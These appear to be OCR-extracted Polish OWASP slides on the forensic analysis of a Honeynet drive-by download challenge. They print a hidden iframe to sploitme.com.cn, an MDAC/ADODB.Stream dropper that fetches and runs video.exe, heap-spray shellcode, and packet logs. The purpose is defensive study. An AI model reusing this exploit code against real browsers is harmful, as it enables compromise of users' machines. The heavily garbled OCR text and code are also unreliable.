FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...
FAOWASP...

Sourc...

152.168...
192.168...
132.168...
152.168...
152.168...
192.168...
132.168...
1592.168...
152.168...
152.168...
152.168...
192.168...
132.168...
152.168...
152.168...
192.168...

5. port
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80
TCP 80

TCP 80
TCP 20
TCP 80
TCP 80
TCP 20
TCP 20
TCP 80
TCP 20

Destin...

10.021..
10.021...
10.021...
10.021..
10.021..
10.021...
10.021..
10.03.1...
10.0.31...
10.031...
10.031..
10.0.31...
10.0.31...
10.031..
10.031...
10.0.31...
10.031..
10.03.1...
10.0.31...
10.031...
10.031..
10.0.31...
10.0.31...
10.031..
10.031...
10.0.31...
10.04.1...
10.0.4.1...
10.0.4.1...

10.0.4.1..
10.0.4.1...
10.0.4.1...
10.04.1...
10.0.4.1...
10.04.1..
10.04.1...
10.0.51..

D. port

TCP 1063
TCP 1063
TCP 1064
TCP 1066
TCP 1065
TCP 1064
TCP 1063
TCP 1080
TCP 1080
TCF 1081
TCP 1080
TCP 1082
TCFP 1080
TCP 1081
TCP 1081
TCP 1081
TCP 1085
TCP 1086
TCP 1088
TCP 1089
TCP 1091
TCP 1091
TCP 1092
TCP 1091
TCP 1091
TCP 10592
TCFP 1106
TCP 1108
TCP 1108

TCP 1108
TCP 1108
TCF 1111
TCP 1112
TCP 1114
TCP 1117
TCF 1118
TCP 1135

Protocal

HitpGet ...
HitpiGet ...
HttpGet ...
HitpGet ...
HitpiGet ...
HttpGet...
HitpGet. ..
HitpGet ...
HitpiGet . .
HttpGet ...
HitpGet ...
HitpiGet ...
HttpGet ...
HitpGet ...
HitpiGet ...
HttpGet ..
HitpGet. ..
HitpGet ...
HitpiGet . .
HttpGet ...
HitpGet ...
HitpiGet ...
HttpGet ...
HitpGet ...
HitpiGet ...
HttpGet ..
HitpGet. ..
HitpGet ...
Hitpiet . .
HitpGet ...
HitpiGet ...
HttpGet ...
HitpGet. ..
HitpiGet ...
HttpGet ..
HitpGet. ..
HitpGet ...

Filename
login php html
dot jpg html
index html 3CETBFZ5 html
terminator_back png html
terminatr_back png html
show php E7YDFFCO html
favicon ico html
login php[1]html
sslstyles cas
index html 3CE7BFZ5[1] html
dot jpg[1] html
temminatr_back png[1]html
teminator_back png[1].html
show php EYDFFCOO[1] html
video exe octet-stream
video exe[1] octet-stream
index html
__utm gif SATISFI aff
indesc html
index html
login php[2] html
dot jpa[2] html
indexc html 3CE7TBFZ3[Z] html
teminatr_back png[2] html
terminator_back png[2] html
show php EZDFFCOO[Z] html
index html
index html 275 7C305 html
show php 36B252F5 html

video exe[3] octet-stream
directshow php jpeg
indeac[ 1] html

__utm gif EOE7A14C gif
video exe[4] octet-stream
indeac[Z] bl

__utm gif SIAESAEC gif
show php html

Bxension

hitrmil
hitrmil
hitrmil
hitrmil
hitrmil
hitrml
hitrril
hitrmil
Css
hitrmil
hitrmil
hitrmil
hitrmil
hitrmil
octet-stream
octet-stream
hitrril
aif
hitrmil
hitrmil
hitrmil
hitrmil
hitrmil
hitrmil
hitrmil
html
hitrril
hitrmil
hitrril

octet-stream
ipeg

hitrmil

oif
octet-stream
html

oif

hitrmil

Size
3005E
7B

Timest...

2010401...
2010401...
2010401...
2010401...
2010401...
2010401...
2010-401...
2010401...
2010401
2010401...
2010401...
2010401...
2010401...
2010401...
2010401...
2010401
2010-401...
2010401...
2010401
2010401...
2010401...
2010401...
2010401...
2010401...
2010401...
2010401
2010-401...
2010401...
2010401...
2010401...
2010401...
2010401...
2010-401...
2010401...
2010401
2010-401...
2010401...

Details
Aogin.php
fimages/images/dot jpg
Fclick=ebbabb X
fimages/imagesAeminator_bac.
fimages/imagesAeminatr_back.
/fo/show php?s=3ebhabb
Aavicon.ico
Aogin.php
fimages/sslstyles cas
Fclick=Febbabb X
fimages/images/dot jpg
fimages/imagesAeminatr_back.
fimages/images.teminator_bac.
Aa/show php?s=3Hebbabb
AgAoad php7e=1
Agoad php7e=1
!

/__utm gif Futmwy=4.6 S&utmn=.
£

!

Aogin.php
fimages/images/dot jpg
Fclick=ebbabb X
fimages/imagesAeminatr_back.
fimages/imagesAeminator_bac.
/o/show php?s=3febhhabbh
fcatalog!

Fclick=84c0590bd 36

Aasshow php?s=84c050bd86
Aagdoad phpie=1
AgAoad php?e=1
Ag/directshow php

!

S _utm gif Futmwy=4.6 S&utmn=.
AgAoad php?e=3

£

S _utm gif Futmwy=4.6 S&utmn=.
Aa/show php
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Gdzie jestesmy

B Wybrane fragmenty z bliska
B Ogolne spojrzenie na kazdy z przypadkow
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Sekwencja zdarzen dla 10.0.3.15

38.903281000

\

39.171463000

\

39.291056000

\

40.406864000

\

40.507012000

\

43.855509000

\

56.522687000

\

56.682911000

\

57.175705000

\

57.334302000

\

60.172500000

v

60.356576000

\

60.425308000

=
=

® u




96.873466000

v

97.233302000

v

97.366557000

v

99.295090000

v

99.361832000

v

100.327351000

v

101.139235000

v

157.285151000

v

162.493197000
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Co jest w rapidshare(...)/login.php

Mew Tab (1) l
eval (function(p,a,c,k,e,r) {e=function(c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)>35?5tring. fromCharCode (c+29) :c.to5t
(36))}rif(!" " .replace (/"/,5tring) ) {while(c--)xr[e(c)]1=k[c] ]| |e(c) ;k=[function(e) {retuorn r[e]}]:;e=function () {retorn’'"\w+

=1}:while(c——-)}ifi(k[c])p=p.replace (new RegExp (" ‘\b'+e(c)+'"\b','g"),k[c]):;retuorn p} ('g.r (5 ("th30%:632d2e: 721302095 d%3%4%:
£32%1i%3:bEbE0SitcEk0% 27311333k 7313 3EmEbECE3RcE0E 3043 vEEE 1S twtetxsftvE63at=303g3 225340835313 03A%SE2%4E0n%8%9%23
$4%atBt0%9%0%£20%cE0%230Ej2825203g3gElEmtatpthibt0%63d2exT7E1%p3C™) ) 7", 39,358, '09| 65| 74|63 |3D| e8| ea|eD| 20| 73|22 |2F|eC|7

Run script | " Replace eval) with |E'u'|a Find | Templates | Wide 2 Ll
f* QOverride eval() | Case sensitive

Debug | Format code | Show eval()

(" Leave as is [ Do not bother me with messages —_—

document.write (unescape ("t3CE69T66E 7226013602053 20%T32T2E03E3DE222688 74274370343 2F22FET3%T020CE0F2658 742002652 2E203%E
t2E%63%0ER2FE3F26330C369%633266B%3D333200%605302% 3030123630283 2%00%228T7T7309%64%T4%26823D%31220%08%2065%059%67203% 74230231320
ET4%759%6CE00%3D%223T0269% 7326986023692 0C2052T4ETEE3A%20%08%09204304920530EF22%3E33CE2F2065%06%T2301%0D%65%3ER0A™) )

document .write (unescape (":3C3693663T2261%36DF65%20% 7387236333 D%22%68% 743743 TOR3ATZFR2FET3%3T70%26CE6FE69%T426D%65%2ES
T2EX63X6ER2FE3FE0336Ct69%63%6B% 3D 3330602 65%02F 308013362062 232%06% 2227736593648 7T4%268%33D%31320%68%65%6926 726827433033
ET4%7920C2605% 3022270098 T3260202205%30C200%T4ETOE3AT20%6080%2059%2043049%0520ER22E3E33C22F205%200%T72%0126D%65E3EX0A) ) -

Fun script | (" Replace eval() with |E'u'|a Find | | Templates | Wic
f* Qverride eval() [ Case sensitive
Debug ) Format code Show ¢
| (™ Leave as is [ Do not bother me with messages Selection length: 0 (0) |

<iframe src="http://sploitme.com.cn/?click=3feb5a6b2f"width=1 height=1 style="visibility: hidden"></iframe>
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~Klasyczny” drive-by download

B Na ,niewinnej” stronie osadzony skrypt
» Skrypt obfuskowany

= Mozna odkodowac, np.: Malzilla
— http://malzilla.sourceforge.net/

* Nie zawsze tak tatwo
— Przykfady z poprzednich prezentacji na OWASP
» Ostatecznie: ukryty iframe

» Przekierowanie na ,atakujgcq” strone
= Tu proba wykorzystania podatnosci w przegladarce
= Czesto payload ,dziwnie” przypomina moduty Metasploit
= Payload moze byc¢ uzalezniony od przegladarki
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http://malzilla.sourceforge.net/

Jak atakowana jest przegladarka (show.php)

if(!r){try{r=o.CreateCbject(n,'',"'")}lcatch(e){}}

if(!'r){try{r=o.GetCbject("',n) ltcatch(e){}}

ifi{!'r){try{r=o.GetCbject(n,'"") lcatchi{e){}}

if('r){itry{ir=o.GetCbject (n) jcatch(e) {}}

retorn r;}

fonction Go(a) {var s=CreateC(a, 'WScript.Shell') ;var o=Createl(a, "ADCDE.Stream') ;var e=s.Enviromnment ('Process') ;var
=pull;:;var bin=e.Item("'TEME"')}+'\\'+filename; try{xhr=new XMLHttpReguest () :}

catch (e} {try{xhr=new ActiveXCbhbject('Microsoft.XMLHTTEF'") 1}

catch (e) {xhr=new ActiveXObject ("M3XML2.ServerXMLETTP') }}

if({!'zhr)retorn (0) ;xhr.open("GET' ,urltofile, fal=e)

xhr.send {mll) ;var filecontent=xhr.responseBody;o.Type=- T} ro.5aveToFile (bin,2) 5
{(bin,0) -}

fonction mdac{) {var i=0;var cbjects=new Array('{BD9&C: PraWIe Jak W MetaSp|OIt CS56—-6543-11D0-98234

—00CO4FC2o9F3A ' ' {ARSRCENIN-FCTFR—47FR1-9322 _N4a2 108171161 S — 4g}', '{0006FO3A-0000-000
-CO00-000 if(!zhr)retorn(0): 2B-B278-451D-A0D8-FCFDF33E833C}'. "{ TFSETFE3-FO&
-4331-8n2  xhr.open('GET',urltofile, false) og { 'Downloading the pavload...'): 859
—1DBE3-44f xhr.zsend (null):; .open ("GET", url, false) ull
;while (ch var filecontent=xhr.responseBody; .Zend (null) ; i
'clas=id! o.Type=1; at = xml.responseBody; yid
if{a){try 0©.Mode=3;
retorn tr a.Cpen{): of ("Writing the pavload to disk..."):
i+4:} o.Write (filecontent): Type = 1:
Complete | o.S5aveToFile (bin,2); .Mode = 3:

s.Run(bin,0): -Cpen ()

mdac () : .
Ml Write (dat) ;

.SaveToFile (bin, 2):

Log ("Executing the pavload...'):
s2.Fun(bin,0)
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Jaki jest cel exploita na stronie?

B Pobranie pliku wykonywalnego

» Pobranie za pomocg XMLHttpRequest
= var urltofile="http://sploitme.com.cn/fg/load.php?e=1

» Zapisanie na dysku za pomocg ADODB.Stream

B Uruchomienie go
» Uruchomienie przez WScript.Shell
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Ciekawostka: atak personalizowany?

show php.36B292F9 html html 40653 B
show php EFDFFCO0 html html 3R13B
show php EFDFFCO0[1] Html html 10845 B
show php . E7DFFCO0[2] Html hitrml 227 B
show php html html 3500B

fonction Complete()

{

setTimeout {'location.href = "about:blank',2000) -}
fonction CheckIP () {var reg=null;try{reg=new ActiveXCObject ("Mzxml:2.XMLHTTE"): }catch (e){try{reg=new ActiveXObject ("Micro
EMLETTE"™) - tcatch (e) {try{reg=new XMLHttpRedquest();lcatch(e){}}}
if (rec—null) retorn"0";req.open("GET", "/ g/ show.php?get ajax=l&r="+Math.random (), fal=se);req.send(null);if (req.response
="1"}) {retnrn troe; }lelse{retorn false;}}

Complete () :

if (objspread) {tryi{var shellcode—unescape ("3uC033%udB643u30403%3u0CT783u403B3%3udB0CFulCT03usBADFu08583u0SEEFu408B3usD
FuS88BRueA3CETuSA44TuE2DIFuE2 2BEuECEESu4FERTus25A%uEAR 38956304553 uS5T7563uT738B3uiB3CRu33743u03783us6F33uT768B%u03
Fu48Co93%u41503ul3ADTu36FFRuBE0FEu03143uF2383ul8743uCFC13u030D3u40FAZuEFERTulB583uT5FA3usSEES3u468B3u03243u66C33u0C
FTulC563uD3033ul048B3u038A%uSFC3Tus05ESudDC3Ful8TDEnS253T3u33B83u8ACARuE8 SBIuFFA23uFFFFRuC0323uFT8BRuAEF23uB84FEulE
Fub6b6ABTu66983uBR0ARTulAECEuS8E0Tu68503u6E6FEued42EZuT568%3u6CT23u546D3udEBE3ulE4ERuFFECRZu04553u50933uC0333us050%usB
FuC2833ud3T7FEu3lC23us0523u36B83u2F1a3uFFT70%3u04553u335B3usTFFRuBd563uFES83ulEGATuSSFFRusST043uEFES3uEOCERuFFe03u04
FuT7074%ulF3A3uT32FEueCT03ube96FiueDT43ulE653ubeFe33ulE6DRubE633u662 FRulFeT3ubFeCEue4613uT02ESuT7068%u653FFul83D") ;
=new Array():;var 1s=0x21000- (shellcode.length*2) ;var bigblock=unescape ("3ulblc®ulbliC"™) ;while (bigblock.length<lsz/
{bigblock+=bigblock;}

var lh=bigblock.substring(0,1=s/2) :;delete bigblock; for(var i=0;i<0x3%%2:i++){array[i]=1h+lh+shellcode;}
CollectGarbage () s var objspread=new ActiveXObject ("OWCLl0.S5preadsheet™)re=new Array();e.push(l);e.push(Z) ;e.push (0O
(window) ; for (i=0;i<e.length;i++) {for(j=0;j<10;j++) {try{objspread.Evaluate(e[i] ) }lcatch{e) {}}}
window.status=e[3]+""sfor(Jj=0;j<10;j++){itry{iobjspread.msDataSourceCbject (e[3] ) s tcatchie){}}}icatch(e){}}
Complete ()2}

mdac ()} s




Co robi video.exe

GET /fg/load. php7e=1 HTTP/1.1

AcCcept: */*

Accept-Language: en-us

referer: http:ff5p101tme cnm cn/fg/show. php?s=3feb5atb2f
Accept-Encoding: ?z1p, late

User-agent: Mozilla/4.0 (cnmpat1b1e MSIE 6.0; windows NT 5.1; Ssv1)
Host: sploitme. com.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 02 Feb 2010 19:05:44 GMT

server: Apache/2.2.9 (Ubuntu) PHPR/5.2.6-Zubuntud.6 with Suhosin-ratch
¥-Powered-By: PHP/5.2.6-2ubuntud. &
cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Accept-Ranges: bytes

Content-Length: 12288

Content-Disposition: inline; filename=video.exe
kKeep-Alive: timeout=15, max=97

Connection: Keep-Alive

Content-Type: application/octet-stream

Co robi pobrany program?
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Przykiadowe piaskownice

B CWSandbox

» http://mwanalysis.org/
» http://www.sunbeltsecurity.com/sandbox/

B Anubis
» http://anubis.iseclab.org/

B ThreatExpert
» http://www.threatexpert.com/submit.aspx

B Norman Sandbox
» http://www.norman.com/technology/norman_sandbox/
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I ciekawostka z piaskownicy

Reads

HKEY_LOCAL_MACHINEASOFTWAREWicrosoff\PCHealth\ErrorReporting ™

HKEY_LOCAL MACHINEASOFTWAREWicrosof\PCHealth\ErrorReporting ™

HKEY_LOCAL WMACHINE\SOFTWAREWicrozof\PCHealth\ErrorReporting ™

HKEY_LOCAL MACHINE\SOFTWAREWicrozoft\PCHealth\ErrorReporting ™

. HKEY_LOCAL_MACHINE\SOFTWAREWicrogoff\PCHealth\ErrorReporting ™
Registry HKEY LOCAL MACHINE\SOFTWAREWMicrosoff\PCHealth\ErrorReporting ™
HKEY_LOCAL WACHINEASOFTWAREWicrosof\PCHealth\ErrorReporting ™

HKEY_LOCAL WMACHINE\SOFTWAREWicrozof\PCHealth\ErrorReporting ™

HKEY_LOCAL MACHINE\SOFTWAREWicrozoft\PCHealth\ErrorReporting ™
HKEY_LOCAL_MACHINEASOFTWAREWicrosoff\PCHealth\ErrorReporting ™

HKEY _LOCAL MACHINEASOFTWAREWicrosof\PCHealth\ErrorReporting ™

HKEY_LOCAL WACHINEASOFTWAREWicrosof\PCHealth\ErrorReporting ™

Creates Process - Filename () CommandLine: ("C:\Program Fies\internet Exploreniexplore.exe” "hitp./lwww . honeynet.org™) Az User: () Creation Flags: ()
Kill Process - Filename () CommandLine: (} Target PID: (1740} As User: (} Creation Flags: ()

System Info Get System Directory

Process Management

3. iexplore.exe

General information about this executable

Analysis Reason: Started by video_exe. exe

Filename: iexplore exe

MD5: 55794b97arfaabd2910873cB5274f409

SHA-1: 58e80c00bfb4850b5f3cchdBedfDA7T537eleale

File Size: §3184

Command Line: "CAProgram Files\internet Exploreriexplore. exe" "http:/fwww _honeynet.org”
Process-status at analysis end: dead

Exit Code: 0
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Gdzie jestesmy

Ogolne spojrzenie na kazdy z przypadkow
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Klient 10.0.2.15

8.384933000

v

8.656272000

v

8.780768000

== Host Details
Cueried NetBIOS names : BF012EDDZ2DCT462 WORKGROUP WORKGROUP<1E=
Web Browser User-Agent 1 : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
DHCP Vendor Code 1: MSFT 5.0

Default Gateway - 10.0.2.2 OWASP e 55




Klient 10.0.3.15

38.903281000
v
39.171463000
v
39.291056000
v
40.406864000
v
40.507012000

\

43.855509000

\

56.522687000

v

56.682911000
57.175705000
57.334302000

v

60.172500000

v

60.356576000

v

60.425308000

(=-21] Host Details
CGuered NetBIOS names : 8FD12EDDZDC1462 WORKGROUP WORKGROUP=1E= WORKGROUF
Quered DNS names : www honeynet org www google-anahytics .com www google com www google
Web Browser User-Agent 1 : Mozilla/4.0 (compatible; M5IE 6.0; Windows NT 5.1; 5V1)
DHCP Vendor Code 1: MSFT 5.0
Default Gateway : 10.0.3.2
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Klient 10.0.4.15

96.873466000

v

97.366557000

v

99.295090000

v

99.361832000

v

100.327351000

v

101.139235000

v

v

162.493197000

=27 Host Details
Quered NetBIOS names : BFD12EDD2DCT462 WORKGROUP WORKGROUP<1E: WORKGROUP<1D=0_ MSBROWSE_ 1<01>

Queried DNS names : www honeynet arg www google-anahytics .com

‘Web Browser User-Agent 1 : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 5V1)
DHCP Vendor Code 1: MSFT 5.0 OWASP e 57
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Klient 10.0.5.15

214.536423000 http://sploitme.com.cn/fg/show.php

= 8% 10,0515 [d12edd2dc 1462] [#d12edd2dc 1462 ] [SFD12EDD2DC1462] (Windows)
IP:10.0.5.15
r MALC: DB00Z7CD3055 (Unknown)
Hostrname: 8d12edd2dc1462, 8fd12edd2dc1462., BFD12EDDZDC 1462
= 8% 05: Windows
Ettercap: Windows XP Pro, Windows 2000 Pro (100,00%)
plf: Windows XP SP1+, 2000 SP3 (100.00%)
Sator DHCP: Windows - Windows XP (22 .22%) Windows - Windows 7 (11,171%) Windows - Windows 2000 (11.11%) Windows -
Sator TCP: Windows - Windows XP (100,00%)
TTL: 128 (distance: 0)
Open TCP Ports:
o Sent: 32 packets (3 530 Bytes), 0.00% cleartent (0 of 0 Bytes)
<3 Received: 9 packets (3 364 Bytes), 0,00% cleartexd (0 of 0 Bytes)
Incoming sessions: 0
47 Outgoing sessions: 1
5
Guered NetBIOS names : 8FD12EDD2DC 1462 WORKGROUP WORKGROURP<1E:
Web Browser User-Agent 1 : Mozilla#5.0 (£17; U; Lnwx i686; en-US; rv:1.6) Gecko /20040614 Firsfo/0.8
DHCF Vendor Code 1: MSFT 5.0
Default Gateway : 10.0.5.2
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Nagtowek User-Agent mozna sfatszowac

GET /login.php HTTP/1.1

Host: rapidshare. com.eyu32.ru

User-agent: Mozilla/5.0 (windows; U; windows NT 5.1; en-uUS; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
Accept: text/html, application/xhtml+xml, application/xml;qg=0.9,*/%;q0=0.8

ACCepC-Language: en-us,en;q=0.5

accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;q0=0.7,%;q0=0.7

Keep-Alive: 300

Connection: keep-alive

GET / HTTP/1.0

User-Agent: wget/1.11.4

Accept: */*

HosT: wampir.mroczna-zaloga.org
Connection: Keep-Alive

GET /fg/show.php HTTP/1.0

User-aAgent: Mozilla/ 5.0 (x11; uU; Linux 1686; en-us;
Accept: */*

Host: sploitme. com.cn

Connection: Keep-Alive

rv:1l.6) Gecko/20040614 Firefox/0.8
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Podsumowanie na koniec

B Co udato sie ustalic
» Zidentyfikowac klientow i serwery,
» Okreslic ,,atakujacg” strone
» Okresli¢ jak klienci trafiajg na ,,atakujacy” strone
» Odzyskac pliki z ruchu sieciowego
= Pliki HTML wraz ze skryptami wykorzystanymi w ataku
* Plik wykonywalny pobierany na atakowang stacje
» Okresli¢ akcje wykonywane przez pobierany plik
» Odtworzy¢ prawdopodobny scenariusz zdarzen
= Co robi uzytkownik, co dzieje sie samo
» Zauwazyc fatszowany nagtéwek User-Agent
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Narzedzia

B \Wireshark
» http://www.wireshark.org/

B Network Miner, xplico
» http://networkminer.sourceforge.net/
» http://www.xplico.org/

B Satori (ale i pOf, Ettercap, ...)
» http://myweb.cableone.net/xnih/

B NetGrok
» http://www.cs.umd.edu/projects/netgrok/

W Malzilla
» http://malzilla.sourceforge.net/ owasr @ &1



http://www.wireshark.org/
http://networkminer.sourceforge.net/
http://www.xplico.org/
http://myweb.cableone.net/xnih/
http://www.cs.umd.edu/projects/netgrok/
http://malzilla.sourceforge.net/

Przykitady

B Honeynet Project Challenges
» http://www.honeynet.org/challenges

B Network Forensics Puzzle Contest
» http://forensicscontest.com/

B \Vireshark: Sample Captures
» http://wiki.wireshark.org/SampleCaptures



http://www.honeynet.org/challenges
http://forensicscontest.com/
http://wiki.wireshark.org/SampleCaptures

Pytania?
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